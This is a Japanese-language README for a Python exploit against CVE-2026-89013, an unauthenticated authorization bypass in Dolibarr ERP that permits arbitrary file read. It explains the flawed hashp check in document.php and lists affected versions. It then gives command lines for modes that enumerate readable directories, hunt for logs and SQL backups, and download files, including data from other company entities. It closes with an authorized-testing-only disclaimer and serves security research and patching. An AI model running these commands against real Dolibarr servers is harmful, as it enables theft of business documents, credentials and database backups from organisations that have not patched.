
CVE-2026-89013(認証不要のDolibarr hashp認可バイパスにより任意ファイル読み取りを可能にする脆弱性)のPythonエクスプロイト。check、list、hunt、read、downloadモードを備える。
CVE-2026-89013 のエクスプロイト: document.php と viewimage.php は
hashp パラメータが存在する場合に NOLOGIN を強制します。内部マーカー値 shared は
共有トークンの解決をスキップしますが、アクセス制御のオーバーライドは空でない値に対して
依然として発動し、$accessallowed = 1 を設定して
dol_check_secure_access_document() の結果を破棄します。したがって、未認証のリクエストで
すべての modulepart ツリー内の任意のファイルを読み取ることができます: 業務文書、管理ログ、
SQL バックアップ (modulepart=systemtools)、カスタムモジュールのソース (modulepart=packages)、
および &entity=N を介した他のマルチカンパニーエンティティ。
| 影響を受ける | Dolibarr 23.0.4 – 24.0.0 |
| 修正済み | 24.0.1 |
| 前提条件 | なし (未認証) |
| 影響 | Dolibarr の管理ディレクトリ内での任意ファイル読み取り |
// htdocs/document.php:189 (24.0.0) — 'shared' はトークン解決をスキップ
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — しかし任意の hashp がアクセスを強制
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
コミット 5028dae981e (2026-08-12) のリグレッションで、23.0.4 および
24.0.0 で初めて出荷されました。トラバーサル (../) はサーバー側でサニタイズされます —
これはパストラバーサルではなく、認可バイパスです。
# 検出 (安全、存在しないカナリアファイル)
python3 CVE-2026-89013.py https://erp.local check
# 読み取り可能な modulepart ツリー
python3 CVE-2026-89013.py https://erp.local list
# 探索: dolibarr.log + SQL バックアップ (生成されたファイル名) + ユーザー vcard
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# 読み取り / ダウンロード
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# viewimage.php 経由の PDF
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
標準ライブラリのみ (Python 3.8+)。--proxy、--insecure、--timeout をサポート。

認可されたテストおよび研究のみを目的としています。自身が所有するシステム、または テストの明示的な許可を得たシステムに対してのみ使用してください。